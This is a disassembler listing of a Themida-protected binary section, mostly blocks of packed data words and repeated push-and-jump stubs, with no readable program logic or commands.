		dd 0F26BB79Bh, 9692A5BCh, 3A7594A1h, 9FB79960h,	0B599BD32h
		dd 0A59CB2E9h, 0ACA3F292h, 0B1EF7695h, 0F94E0097h, 9FA5B4h
		dd 0F07B6B5Ch, 8A924Ah,	45F352D0h, 0A3F653F5h, 44D6D979h
		dd 45E3AFF1h, 0D77D41F4h, 9792B000h, 0FD756BBFh, 96BFCF60h
		dd 0B293BCF9h, 57207D20h, 92ABF79Bh, 0B29EBD94h, 0CE9DBCE3h
		dd 8F899BE0h, 0FD8F9D72h, 6DB4EEA9h, 0BCE1B6F6h, 0B3ED7293h
		dd 0B6D00097h, 0A8CD43F1h, 0F0h, 74470000h, 0E0E3129Dh
		dd 5E99h, 2 dup(0)
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_618103:				; CODE XREF: Themida_:0061803Aj
		jmp	loc_61AFB3
; ---------------------------------------------------------------------------
		push	80169CDh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8016C2Ch
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8016E10h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8017145h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8017242h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	80173EDh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801756Bh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	80176E8h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	801787Ch
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8017BB7h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8017DB4h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8018091h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	80182BCh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	80185FEh
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8018911h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8018DA7h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		push	8018FE4h
		jmp	loc_5A99E0
; ---------------------------------------------------------------------------
		dw 0AC24h
		dd 50827E94h, 831A56ACh, 5C757989h, 0BA145CA6h,	0A4CE788Ah
		dd 0F41E26B0h, 0D240C00Ch, 0EF2321AEh, 0C83AC40Fh, 817BB01h
		dd 61C25CBEh, 4B771303h, 0C25CBE54h, 0FA00D1ADh, 0F5A231FAh
		dd 4AAE121Fh, 0CA5E241Bh, 42C20C74h, 0ADDAE9C2h, 21AB00CBh
		dd 774CE51Fh, 0E411A17Dh, 0EF093D2Dh, 47926E19h, 7E57F3BDh
		dd 691E45B1h, 2A77CA5Dh, 18D35B99h, 69E9F507h, 0BD4D3A89h
		dd 5DBBB101h, 443C66D4h, 2473AD3Ch, 0D7FC5CDEh,	0D5FEC72Dh
		dd 6B788FEBh, 8E17DD67h, 0A1E6BF45h, 735FFB9Fh,	0F83ABEC9h
		dd 0B5D2574Ah, 0B7B3C9D9h, 202FD29Ch, 62A0C9D8h, 69122C2h
		dd 2549673Ch, 405F83ACh, 99C262A1h, 7039BB08h, 0DDC15D27h
		dd 1E313DD5h, 92567804h, 0C262ED93h, 48B0D7ECh,	0C262ED15h
		dd 52D6DEBAh, 870735D3h, 66856027h, 6E33B2A3h, 9A4502h
		dd 7630000h, 688C34CEh,	0C2626A39h, 46564192h, 86EAFEDCh
		dd 3130B84Ch, 8ACA5E24h, 4A268A39h, 0B68F758Fh,	0D03EFD1h
		dd 2D25859h, 50824F5Eh,	547F48ACh, 0BB2B7743h, 0AC24E8E0h
		dd 1FFBF9CAh, 296E903Bh, 63B34C4Fh, 0CA676BC2h,	63B3071Eh
		dd 805360C2h, 0C37D5884h, 7A716C41h, 0E17D19DDh, 89983CF5h
		dd 0E2C263B3h, 0C89502D1h, 0BCA13111h, 0FF4BF553h, 0F8699CEBh
		dd 0CC026FA3h, 0F9DD04F0h, 6E36C263h, 716B44B8h, 0E1A61D6Eh
		dd 2141Eh, 0BA1E8200h, 0C2636CABh, 0B4E8AF04h, 0E65F6E12h
		dd 0A6A560E2h, 17DDE6B6h, 0A4854F8Fh, 0D9EA02ACh, 0AA07D2AEh
		dd 55DE162Eh, 0BD72427Eh, 875F589Ch, 0DB799826h, 0B41F5D53h
		dd 0E17D19E3h, 3C3C4BF1h, 324E7292h, 90EC9BA1h,	0F40CC8A4h
		dd 0C97A55A3h, 0BD22D839h, 0E4CCF7C5h, 76E3A7DCh, 17802ADEh
		dd 24ADD16Dh, 4C87791Eh, 5D79765Fh, 4F844DA7h, 9A71CB5h
		dd 1ADA6865h, 0A48C0691h, 0B0C5DC08h, 951ECA5Dh, 0B65D6E02h
		dd 84E8CA5Dh, 753EB64Eh, 0F6FBD622h, 149C27DDh,	5F3968Ch
		dd 0D0B7B337h, 0CBE27E42h, 0DB07B351h, 0CA5DD5C4h, 583F941Dh
		dd 5480AD28h, 0CA5DD64Dh, 0AA61DA6h, 1CC86966h,	0CA5DD605h
		dd 427E555Eh, 5DD68F96h, 0ACDBE8CAh, 995C6450h,	0E58768C8h
		dd 92285A2Dh, 8B699B36h, 0CBAF11C2h, 2B040002h,	787CB645h
		dd 0B4D8E8AFh, 5BF5ECD8h, 0C70CCA5Dh, 5B2C753Dh, 577AB795h
		dd 0F4E0BCD2h, 0C2633DEDh, 300A7D46h, 96411DA3h, 0CF6F1B6Ch
		dd 0E2221CABh, 6E4C3E49h, 3E776E5Ah, 3D0C263h, 0B0CCF0D0h
		dd 0A6E1923h, 0CA607DB1h, 8D94405Ch, 0E6BA65FEh, 7010AADDh
		dd 3A97D963h, 982B0400h, 51507418h, 0AABA65FEh,	1879CD1Ah
		dd 953E7DF8h, 0F65A3602h, 0FFC82CD8h, 836E6898h, 0CEFAB648h
		dd 0BA65F6D7h, 9030A330h, 42554B40h, 583FF645h,	0BAEF6BAh
		dd 55EFEA92h, 0FAAE16AFh, 0B6AD1922h, 0FBA6605h, 7A8611C2h
		dd 0CA78555Ch, 2DACA8F9h, 0C729CEADh, 2A46AAh, 35CF0500h
		dd 0B31A1DDh, 26E0F7F7h, 53F94DCh, 5FE5F10Dh, 530121B3h
		dd 3539C97Bh, 5599699Bh, 3838CA78h, 28AF639Dh, 0BB313094h
		dd 0EC8AC25Ch, 616E1228h, 0FF8821E3h, 401CD501h, 5A896FA9h
		dd 0B3CA5E24h, 0C7FC06CBh, 0BE152FA9h, 2D87B202h, 5B4321A2h
		dd 7EE2DE2Ch, 7750B450h, 5CE5F010h, 837BCFACh, 0FCC40FE4h
		dd 36CE7660h, 0A0A0EA9Dh, 4D6EF610h, 61264636h,	606E123Bh
		dd 8720E4h, 0AD2C300Ah,	1D39DCE1h, 0ACF4BC07h, 7C49EC1Ah
		dd 785C640Eh, 0CA5D6F69h, 9AA6F1C2h, 372E9AF6h,	90CA5D6Fh
		dd 0B69C5443h, 0ADD257A4h, 0FAFA00D1h, 421EA231h, 5C286F95h
		dd 6339E5F8h, 37C904C2h, 0D37A1BDh, 2CAF36E7h, 6737E71Fh
		dd 0F180C4DBh, 45206726h, 56FA96A6h, 0A12ACA7Ah, 63254857h
		dd 8710A1C2h, 6F7AD786h, 6905A902h, 0FC23D56Fh,	55C26330h
		dd 0E3BC3B4Ch, 0DC000001h, 0E9AE5680h, 636E12B3h, 0FD8A23E1h
		dd 0F0DBD0FBh, 0A61DB64Eh, 2342A60Ah, 7CCA5E24h, 0B8A46027h
		dd 0F0EFD31Eh, 49CA5E23h, 5D654B78h, 0AB705D9Fh, 0AE56416Eh
		dd 0E612AE12h, 0CA5D46BFh, 465D8B18h, 0B1CA5D47h, 665E4F45h
		dd 297A38F6h, 46719A5Eh, 60FCCA5Dh, 0BDBBCC74h,	12309D12h
		dd 466A59F2h, 3C677E6Ah, 6F7ECA5Dh, 3C764FB5h, 0CE722067h
		dd 76211BB2h, 71624F8Ah, 3C150CB8h, 656ECA5Dh, 535B656Eh
		dd 0EBE80F5Fh, 78D48351h, 0E1BD4750h, 53B1537Dh, 63F50D7Ah
		dd 0CEE41D57h, 5D91FB2Ah, 557F54CAh, 41926BB2h,	50F2DB7Fh
		dd 79157947h, 5E14564Dh, 6CFAFCAh, 0A42FF8FCh, 328F7DF3h
		dd 0C94D258h, 983CEBE1h, 0C2635D89h, 0D303D1E2h, 7A484F8Dh
		dd 8EBD632Ah, 8A39C4C7h, 6FC99E26h, 60D1651Ch, 91F6CD77h
		dd 75613D01h, 0C263406Eh, 758DFAC7h, 1FC3E3h, 59C26340h
		dd 6D357B48h, 7CAAA6F9h, 0C47E53D5h, 2B5C6740h,	41A1318Dh
		dd 48CA7A2Ah, 0D62ED401h, 37C1C6FDh, 0CA6129EDh, 5969E8BCh
		dd 0D35E7D10h, 0F8DCC000h, 0BA665EE9h, 1A267142h, 46FEDA76h
		dd 867225AEh, 0ACF4BC48h, 590E5CDFh, 1E5CB47h, 0BA670BE2h
		dd 7121663Bh, 1D27B1CDh, 0C4408E6Ah, 0AC26D7EDh, 0B9A6FECEh
		dd 27E7h, 0EC162EA6h, 0CC36CE04h, 0E71B15A4h, 0E230CA07h
		dd 0FE14309Eh, 0A8262E58h, 4E8A669Ch, 0AB244CB6h, 4A856999h
		dd 417F4AB8h, 5CB88E95h, 8D8DE7C2h, 9B19C212h, 9EC44014h
		dd 22CF07F9h, 5E19AFB6h, 6B6808CAh, 299A33D1h, 0FE8E169Ah
		dd 4560711Fh, 3B038FF8h, 6A8AB41Fh, 0FCAB6E1h, 0D8FC35A2h
		dd 0CA5D74C9h, 91429122h, 38678B2Fh, 91CA5D75h,	0F3BB5740h
		dd 75342B97h, 448DCA5Dh, 6E124153h, 0C5B3E460h,	94B8F80Ah
		dd 0E31DB73Ah, 4C3B14F0h, 0E409C4B0h, 8AFFBBDCh, 2EBA8B50h
		dd 0CA5DA937h, 30904390h, 66FB2FA0h, 4750418Eh,	13DBE3CBh
		dd 77E1E0B3h, 0F910F097h, 7063DDECh, 0A1A32C50h, 3FBDCA63h
		dd 21DBF753h, 3B3D4AE3h, 0A1A46E90h, 0D9E177D7h, 0AC524FCh
		dd 0F7B90AAAh, 57CC41CBh, 37A2BED2h, 0DAE923BAh, 3C06911Ah
		dd 0A1717054h, 0F9CAC263h, 4F8AE6CAh, 7917E2B5h, 0DEF3FCD5h
		dd 7C47E024h, 0D23B650Bh, 898B9EDh, 7B2465BDh, 0BCCEB957h
		dd 0C7DE0A1Eh, 20CAD96Fh, 5FE5ED93h, 4C704C74h,	0D97079A8h
		dd 5A02D2CAh, 5187D5F8h, 0C52B5C67h, 0D2D39537h, 8D94405Ch
		dd 0E4C2DF8Eh, 0DF8DE100h, 49693AC2h, 8B330F78h, 0DF8E3867h
		dd 934091C2h, 7A80512Dh, 0DD7EF24Ah, 8710C440h,	903D21FDh
		dd 5BDD2572h, 8788973Bh, 0D0E1C2DFh, 0B41F19B0h, 0BE31C40Ch
		dd 0E9EF830h, 77D3B789h, 854EA660h, 19B5E12h, 264ACADEh
		dd 0D25B99ABh, 7D59F5C5h, 98B4FCC7h, 2902023Ah,	623E625Eh
		dd 0E18D6F76h, 2CA8C8BAh, 0A8D8BF14h, 0CDD4002Dh, 26BAE18Ch
		dd 0E68A269Dh, 0F985CE8h, 4A260A88h, 0B8917389h, 926B1CFh
		dd 0E18CC6DDh, 0AAB91DBAh, 3BAE18Dh, 14BF14AEh,	31A5BD9Dh
		dd 9BB818CEh, 2603h, 18EA12C2h,	0D042FAD8h, 0F31F19B0h
		dd 0C63CC60Bh, 0EA182CAAh, 0BC1A3A5Ch, 5A767A88h, 0BF1858AAh
		dd 66718D85h, 1DA326DCh, 5CB6AAB9h, 916103C2h, 0E3616E12h
		dd 0A409C4B4h, 41DD1729h, 5E248E95h, 0E9DAE7CAh, 0EBAD6DAh
		dd 0CA5E2417h, 3BC51070h, 9985FF88h, 4F07E609h,	3463AD8Fh
		dd 106C8C4Eh, 0F2BB39C3h, 5DDBDF06h, 586B38CAh,	29DBF458h
		dd 623E625Eh, 71A99652h, 0B84043A8h, 0CA5D94A9h, 8EC14C0h
		dd 692E833Fh, 57A1698Fh, 0ECC60ED2h, 8509EFF3h,	46F8D39Dh
		dd 5B318141h, 30E67465h
		dd 89D8885h, 0C664B8BCh, 97B3FDh, 3265EE06h, 5E74D8D8h
		dd 0FA9E1A6h, 0CFD4CBF7h, 0A42DC263h, 912D912Fh, 63D03E65h
		dd 0DE0A97C2h, 0C263CFC7h, 0C3FF132h, 7ABAD3Dh,	0CFEBCDBAh
		dd 781F21ABh, 5E2D0600h, 9E3713CAh, 8007A064h, 0ABCFF1C2h
		dd 0F70DCA27h, 659F34FDh, 5541BBCCh, 0C7968D39h, 0E2EFBA69h
		dd 0C7203BB5h, 0FEC5BA69h, 933F5BDBh, 0BA69C78Ch, 0DAABDCE5h
		dd 0A61D88Bh, 0AF5581DDh, 0C617E8h, 29790000h, 1725849h
		dd 28EC9B0Bh, 1B4AAE12h, 74CA5E24h, 8852385Fh, 4446C584h
		dd 0DEF5FDF7h, 0B1ABEE2h, 64CA5DA8h, 9EA4314Fh,	0FEBACD66h
		dd 0F311BEA2h, 0A94F3811h, 0D257F7C9h, 56CFDE82h, 0F21FF63Ch
		dd 579D26CFh, 55F9C9CEh, 0A32CC87Ah, 8152F0DDh,	68775B3Fh
		dd 0C1C263ADh, 0B599A7F0h, 53F9718h, 0E07C44CEh, 1CB54FC9h
		dd 0AD313094h, 398AC263h, 0AD79AA4Eh, 0CCD4C263h, 0A5B1C1C2h
		dd 0AD1BE89h, 431F1E3h,	0ED1312B6h, 576CC263h, 0F2DD1B6Ch
		dd 0A52ED4FDh, 24ADD16Dh, 0C7FC06CBh, 0F6DCA42Dh, 6A1DB64Eh
		dd 6270418Eh, 1FB44E87h, 4FC40CB4h, 0DAD64E76h,	5945BFC8h
		dd 0C82CE6F5h, 186798FFh, 0A5000024h, 0D6FEFEDCh, 2EEB69F4h
		dd 4301E594h, 0D9618191h, 0DAEAC6EAh, 78C311F8h, 4D237443h
		dd 0D25E913Ch, 1729A3C7h, 0AEED270h, 0C25BC4DBh, 8C349F34h
		dd 385FD9F0h, 3B9C2488h, 7CCF8A9Fh, 695AEAE6h, 4EF7E21Eh
		dd 0C5049D11h, 7607447Ah, 67E8406h, 0C6AA06BDh,	182CAA37h
		dd 922EDCABh, 0A064E0EEh, 55808007h, 0AF352C98h, 458EC25Bh
		dd 0E0A2328Eh, 2E2A1B6Ch, 0C7731176h, 3F2ABAF7h, 0C2D91938h
		dd 0B023AC48h, 0C115A3E7h, 0E9F8DC15h, 42C25B39h, 9A26271h
		dd 785AF6BAh, 206740C4h, 0F5E07C20h, 0CD27E1F8h, 30C8CF04h
		dd 0CA5C9F6Ch, 6F6A854Dh, 6F7AC3EBh, 9C361A28h,	34CC0868h
		dd 0E4CCF7D0h, 0E5B24A88h, 8FE7B7D3h, 5B2034CCh, 0DFC3EB3Fh
		dd 0E92049F5h, 0BA77629Eh, 59E5170Eh, 706370BAh, 59886C50h
		dd 70BA59E5h, 0C8D9D963h, 0D2AF43FCh, 0FD8A2EB0h, 5CDB18Dh
		dd 6D6898FFh, 85AF5680h, 44019A48h, 0A94B784Bh,	0E05A710Dh
		dd 405D3B7h, 0D37A0BCh,	87395EE7h, 445B8723h, 9DBA5A24h
		dd 0E5EE14C1h, 8710329Bh, 543F83F1h, 3AE8B8C2h,	0AA67E116h
		dd 0A6CA781Fh, 51DA1A2Ah, 0AE012F82h, 7CD4D6B3h, 22CE5Fh
		dd 0BD478D00h, 93A92945h, 0AE687F7Fh, 8DB71C64h, 0A75D7975h
		dd 0B49695Bh, 0ADD141C3h, 0DF12123h, 0B0D042C0h, 60E71B25h
		dd 0B369785Ch, 0A4C2C25Ch, 24174AD0h, 7A40CA5Eh, 6F958F1Eh
		dd 7C92EED6h, 0EBB6EB45h, 98B4D8D8h, 64ED0701h,	34E9BD33h
		dd 0D6BAD25Fh, 5C69F3F2h, 39774CC2h, 5C6A968Dh,	0B5E2EFC2h
		dd 58F4BC05h, 6942C27Ah, 933E221Eh, 6A6B7A5Eh, 0EFC4C25Ch
		dd 5680DCE4h, 0A90194AFh, 0EBD834B0h, 0BB574009h, 0EFD318B3h
		dd 0C25C6FF0h, 654B7849h, 70869D49h, 0C5F1C25Ch, 7C9B5E82h
		dd 0B7C456Dh, 85E9C571h, 6F38BC76h, 5CD15A89h, 1E45B1C2h
		dd 77C25CD1h, 4C3B882Ah, 6084A436h, 0C25CD141h,	0F6BA099Ah
		dd 4B1518AEh, 5D2A283Eh, 4F6F3F5Bh, 5207E418h, 0E01ED2C5h
		dd 85CA56B7h, 0A45E933Dh, 0E3B42F76h, 140BB7D7h, 6DBA62F1h
		dd 0A426F64h, 0CBCEB03Dh, 21D18C69h, 40900000h,	0AC264AB8h
		dd 77866A98h, 0A82945BDh, 56808092h, 507264AEh,	0C83ACA04h
		dd 0FE142CA8h, 0E32FD502h, 40E309Bh, 647B6755h,	0BDC25CB2h
		dd 6E12D3A7h, 0BA429061h, 0A262713Ah, 57827E09h, 24372E9Ah
		dd 4390CA5Eh, 874C3090h, 0D2AE777Dh, 0EE96013Bh, 0BE2AC712h
		dd 0CA5E24A7h, 0A020B300h, 23C9D8FCh, 9122CA5Eh, 4B627E06h
		dd 240B1ABEh, 4F64CA5Eh, 7A548084h, 0DFA12ACAh,	0F9AA4AF4h
		dd 0A960EDECh, 0DD81C118h, 464750F2h, 5958117h,	82A14569h
		dd 0DBCA5E1Ch, 513EC1C6h, 62000014h, 1C8B9A3Eh,	0F6E2CA5Eh
		dd 0CA5E1BEFh, 6A377B48h, 6E12F71Dh, 0CDB5E262h, 2123AB0Bh
		dd 46B20EB2h, 0CA5E241Fh, 8D452B78h, 8C301077h,	9A5AE2F0h
		dd 0D9636F11h, 896B4AAEh, 9222D25Fh, 0B3924737h, 0C07A0D88h
		dd 50D005F4h, 26557FB9h, 0F3BD069Fh, 42C27C57h,	35CF0769h
		dd 0AF91F6CFh, 1C43AF0Bh, 75C25C45h, 0B21D5B2Ch, 646F953Dh
		dd 8D94405Ch, 0F8C25C45h, 8199F212h, 0D8E9C9BBh, 0FF5B63AFh
		dd 0C92BD5h, 0C16E6997h, 5C410E15h, 9B4767C2h, 0C25C4184h
		dd 0D4FFD4DDh, 0FD24D0ECh, 56C25C40h, 0D6C23A4Dh, 61A3597Ah
		dd 142CA8C8h, 0C83057F0h, 0C25C4195h, 0C57F58F4h, 8E5E663Fh
		dd 0BD1B61C4h, 0FCBEC4D3h, 0D6E9F8DCh, 7142C25Ch, 6E565E62h
		dd 0E495162h, 229FB321h, 0F504E7BCh, 0AAFA96A2h, 22F04DC5h
		dd 810CB849h, 7C2DF069h, 0DE1CD4C3h, 83CA5659h,	8054EEE7h
		dd 705411DDh, 79494EF8h, 854B7928h, 2A8ACEB0h, 20264Dh
		dd 55EFE500h, 0EB11C1BDh, 46C0D717h, 0E51FB4BCh, 7F85512Dh
		dd 0B3A1C193h, 0D519E91Bh, 0B5B949FBh, 0D818EA18h, 8CF43FDh
		dd 0B11110B4h, 0C6AC25Ch, 0EA07D208h, 5E23E7FEh, 607340CAh
		dd 0E41DB8A4h, 92EF6430h, 5E8A2610h, 0CA5DF847h, 0C013A0h
		dd 19BD705Ch, 0CA5DF80Ah, 12854E63h, 4529176Ah,	0A07C788Ah
		dd 5DF82D34h, 863D86CAh, 3156EEEAh, 83D235B4h, 0D50595ADh
		dd 160DB9h, 626FCA5Eh, 12BEC235h, 0CAE60000h, 5E00071Eh
		dd 445360CAh, 4AAE1250h, 0CA5E241Bh, 159DA732h,	6A75FB8Ch
		dd 0C9CA5E24h, 23E201E5h, 133BCA5Eh, 484F84BEh,	89207842h
		dd 1DC9758Fh, 0CA5E2406h, 5381525Fh, 0EEE14404h, 931DA696h
		dd 0CA4453F7h, 4857A12Ah, 0A1CA5D3Ch, 0DB98710h, 0D25EA1A6h
		dd 0AC5681DDh, 2A187F48h, 1604DF9Ah, 5B35B3B2h,	0DB70CC2h
		dd 863D79CDh, 7C88462Ah, 0ED912D0Bh, 7AA94DE2h,	0D3C25B69h
		dd 0B6C2D5FEh, 0A3C7E91Bh, 0F608C328h, 229E35FEh, 5B69AFB6h
		dd 0CCBB08C2h, 6E97423Eh, 0FCF0BB3Dh, 0DFEE92FDh, 6E526E65h
		dd 5BA55B8Ah, 781FB4C2h, 874C300Ch, 26AE777Dh, 0BB77EA34h
		dd 32583FACh, 0A218A4A8h, 0D1AB0D57h, 37A2BE02h, 395EE70Dh
		dd 5B872387h, 0C25C0744h, 0ED83149Dh, 0CA5613CFh, 0B5AC1874h
		dd 0EBA61FAh, 88E8D2C5h, 8F22B14Bh, 0CEB13383h,	0A805F252h
		dd 6700001Eh, 3B43CF69h, 59956D97h, 363AC842h, 539B679Dh
		dd 8B39C97Bh, 57EDE96Bh, 0F709C3ABh, 58EAE30Bh,	0F90BC6AAh
		dd 56823E09h, 0C25CAF4Fh, 12CECEA8h, 1EB523C2h,	0E79A227h
		dd 9E4AE7F2h, 0CA5D2B87h, 0AA5280E0h, 0AA06AA19h, 5D2B273Eh
		dd 643380CAh, 4960FC98h, 0EB9C35CFh, 0DEEDC20Dh, 0BF1CFE65h
		dd 4093B49Fh, 0D8D8EBC4h, 281110B4h, 66ACA5Dh, 0EFB83CC8h
		dd 396DF0E4h, 1CD59E04h, 0EDE5116Bh, 17C19D57h,	0CE5507EDh
		dd 0D5CB3E0Bh, 76160DB9h, 626FCA5Dh, 1131A835h,	9781F2C1h
		dd 0E9D3013Bh, 0B3D2C5FFh, 59538A2h, 111735h, 0DAF75300h
		dd 3C4BE420h, 4AAE1258h, 0CA5E241Bh, 52385F74h,	8C78488h
		dd 0F072EE46h, 5781DDE3h, 0C2DEDAADh, 0EF150F9Eh, 3DC73156h
		dd 4AD25F07h, 0EC9BA926h, 1F3B854Eh, 0E16A8AB4h, 0CAA60AB6h
		dd 615F409h, 3A2E5B4h, 0C99C34D0h, 0E6DC187Ch, 0E30FB122h
		dd 0C25D22BCh, 0FDFB8C15h, 4EF4DDD2h, 235F8672h, 0EBB8C25Dh
		dd 10B4D8D8h, 0C25D2311h, 0E42E596Ah, 11BC319Ch, 22E9F8DCh
		dd 7142C25Dh, 0BA09A262h, 0C87C5AF6h, 88F4A32Ch, 0BDE410ACh
		dd 16C25D22h, 6B76FA8Dh
		dd 94C25D23h, 0DE6672C6h, 22AFCBF5h, 4453DC18h,	50741874h
		dd 0C25D2351h, 0A6E19AAh, 0CA572FB4h, 0DDD4475Bh, 0E8DC5665h
		dd 368D0EE7h, 0B07E256Bh, 2350B0CEh, 1D2Bh, 0C052EAEAh
		dd 18EA12C0h, 0BB47C1D8h, 2EE41EB3h, 92808452h,	24B2A2C4h
		dd 0C20EF220h, 27B0D042h, 0CE09E51Dh, 0C5FBDE34h, 5CAE0221h
		dd 0F9F95BC2h, 1B4AAE12h, 74CA5E24h, 9340C00Ch,	28D9F404h
		dd 0BA59CB32h, 6F518288h, 0B73DC70Bh, 0C211339Bh, 0EF8B27D5h
		dd 0BE1759E3h, 0EAE51384h, 0AF485858h, 4F56821Eh, 0A8CA5E1Dh
		dd 0AD1FA91Bh, 21C44047h, 49F2DF7Bh, 27D883EFh,	0B1D6ED4Bh
		dd 0E985B534h, 37CD05D2h, 25DFF4BDh, 5B0AFB8Ch,	2D059511h
		dd 0B22F71A5h, 7DAE8893h, 34ECB0D7h, 39C6D102h,	0FA4h
		dd 908F3357h, 0E9CA5E04h, 12EDAFD8h, 21E3616Eh,	0A5BC2888h
		dd 0FECA5E24h, 180EE2B5h, 6DCA5E24h, 1F3C5E65h,	9BEC8CB8h
		dd 11B5D167h, 0CA5E2112h, 436D566Bh, 95EF087Bh,	8687508h
		dd 705037F1h, 9EA6304Ch, 36BACD66h, 0D25EC8B1h,	0D36D6804h
		dd 2E9AF6C4h, 0C25BFD37h, 30904390h, 4DE26AA0h,	9C548082h
		dd 2B0D7AD2h, 98C72B8Fh, 0F1C25C17h, 0EC9B7E0h,	0F60E34A1h
		dd 264A665Dh, 0D35C98ACh, 466A46C4h, 5C1783A2h,	0F7EEDAC2h
		dd 50C25C16h, 0B71F3F83h, 0F5DE678Dh, 16F827CBh, 8051C25Ch
		dd 1EEE917h, 0A9D52FD5h, 17AC172Dh, 0EA18B599h,	1733DF9Dh
		dd 0AB8480BAh, 8DFA08C5h, 12D7E375h, 0E5BCD707h, 896D5380h
		dd 0CA55E6D3h, 71705438h, 0CABA61D8h, 0FCA371FAh, 0B80BE47Dh
		dd 408BF3CFh, 566D46BEh, 0B1153B4Bh, 1D3A9ACEh,	1B97h
		dd 3CC67E56h, 9C669E34h, 37CB4554h, 0B2609A37h,	0E0400CEh
		dd 98361E48h, 7E5A966Ch, 9B343CC6h, 7A559969h, 318F3AC8h
		dd 5CAC9EC5h, 9D5DF7C2h, 0E2626E12h, 0E308C3B5h, 5E23E0FFh
		dd 486839CAh, 5E24859Ch, 0FED5DECAh, 0EBFADEC2h, 44CA5E23h
		dd 3CC6116Fh, 0DCA8EFB8h, 69785C40h, 80CA5E24h,	7D56AE56h
		dd 0DD1B6C35h, 30D2FDF2h, 91411DA3h, 0D7C0896Bh, 7A80512Dh
		dd 0D3715E7Ah, 0AA419C31h, 0F4F7EEADh, 93AD2844h, 0B84A8571h
		dd 3760733Ch, 0B7218E49h, 2A7A368Dh, 428617h, 6BF5FBCCh
		dd 84E55381h, 413CD6C1h, 595E410h, 0A9244864h, 24D45D97h
		dd 0CA5DB6FDh, 0BD3A4D56h, 314h, 0AD577FDBh, 0D4027E47h
		dd 12356730h, 0B8DF656Eh, 0F4E00DC8h, 0CA5E23EDh, 6A467D46h
		dd 4C3BC906h, 3CA804B0h, 0CA5E2425h, 1662357Eh,	432789BBh
		dd 5F7B798Bh, 9F28CC76h, 7A76334h, 1DD76963h, 61E3EC94h
		dd 857D0AA3h, 0C77953B3h, 23E6FDE9h, 723FCA5Eh,	434F5F61h
		dd 0F90BC467h, 0CAA232FBh, 1F25B102h, 0B9D5E3B4h, 0EBF2F1D5h
		dd 9D49CA5Dh, 0CA5DEC86h, 0E3F0D2DFh, 2F23CB4h,	21B1D258h
		dd 4D3D69Ah, 11F3E069h,	768C4925h, 0F8346711h, 62D9C263h
		dd 0EFD3B787h, 0C263F7F0h, 5AF57949h, 4FA1BD7Eh, 63F21384h
		dd 35026FE1h, 0BC766D59h, 2CFC263h, 0A1E295h, 2A460000h
		dd 0D77094A8h, 6E12ECB0h, 8922E262h, 5C0F4F3Bh,	0E6B101E3h
		dd 751616A4h, 99DED899h, 533E6591h, 0A97CA5Dh, 0AA60AB9h
		dd 532342A6h, 147CCA5Dh, 5D53B1B0h, 0AB90ACAh, 881DF37Dh
		dd 0AE12D257h, 631D1B4Ah, 385F74C2h, 23B23A8Ah,	6EAB5EBDh
		dd 57F39F65h, 1ED2C57Fh, 0C262F503h, 698BB122h,	45BF458Dh
		dd 0D9767570h, 0F0DD811Dh, 0C92BD5FFh, 9831D300h, 0C37376EFh
		dd 58ADCBFBh, 0EAE7F874h, 0A81BB450h, 0E8BFAEDFh, 0AD11026Eh
		dd 62C31A49h, 395E73C2h, 17AC6h, 4986EA00h, 12C8CCBBh
		dd 438D646Eh, 596A43C1h, 7E87522Eh, 0FA2A1697h,	35F82539h
		dd 11330939h, 54AB12C2h, 8AD00806h, 0AF137739h,	0CA5DFBB0h
		dd 0CCF8B809h, 0CA5DFAD5h, 8AF2A52Eh, 0BFE612AEh, 18CA5DFAh
		dd 72619B38h, 4AFBD325h, 0ED0C0D21h, 8C685B12h,	0B9E80CB0h
		dd 12CA5DA5h, 0CCD3FFC1h, 25CA5DA4h, 0C20DEB9Ch, 0A59AC92Dh
		dd 0DEF3CA5Dh, 9B230FF5h, 0D03B10EEh, 0CDABDC10h, 9CC00002h
		dd 107A0D37h, 7200A030h, 0F632F237h, 1AAEE791h,	8919CA5Eh
		dd 0D519C7B0h, 8E6A1D2Dh, 0E0646E43h, 7B1F1FF3h, 0A84CF6DFh
		dd 53CAD91Fh, 3B23CA5Dh, 0BE876D97h, 0BA808215h, 542B3A9Eh
		dd 2F84CA5Dh, 0A9401CA4h, 0D6183F70h, 0BD069E24h, 17296E37h
		dd 0B4AB1773h, 0DCA5DABh, 491DD3C4h, 1AD25AE8h,	0BD1AA736h
		dd 0EFE46D87h, 1DB69AA8h, 8F440DE7h, 70814D31h,	606E5D84h
		dd 0D6EDB6C2h, 0D151CADAh, 1666083Ch, 411D2171h, 0A9956F95h
		dd 6050263Dh, 0A1327FC2h, 0E5CC0AF6h, 376A59EBh, 0C6B2DDDDh
		dd 5CBB98F8h, 1B000018h, 77778BB5h, 8D71A15Bh, 324EC47Eh
		dd 87679BA1h, 775DB54Fh, 3BC9054Fh, 132DA7C7h, 2CD6FFFFh
		dd 53F9AD6h, 52764A0Dh,	0C25CA953h, 0D2CACAACh,	2E120004h
		dd 867E8652h, 339EDAADh, 0FF52FBEh, 87238D36h, 5E24445Bh
		dd 6C149DCAh, 8922E262h, 0D28894FEh, 97B3FD07h,	1ABE023Ch
		dd 0CA5E240Bh, 0BC484F64h, 918BCE0h, 62CA5E24h,	9F3A4651h
		dd 0B83CC012h, 80DCE4EFh, 29E9AE56h, 0A6BD2985h, 0FFCA5E24h
		dd 301CEB2h, 0AEA6394h,	0FDC50000h, 0F63D4DACh,	9B8106C7h
		dd 1B4AAE12h, 74CA5E24h, 8EB4215Fh, 0DF370109h,	1DB64EC8h
		dd 68660AA6h, 88F18DCh,	8C385438h, 0CA5E2495h, 3EB2E5EEh
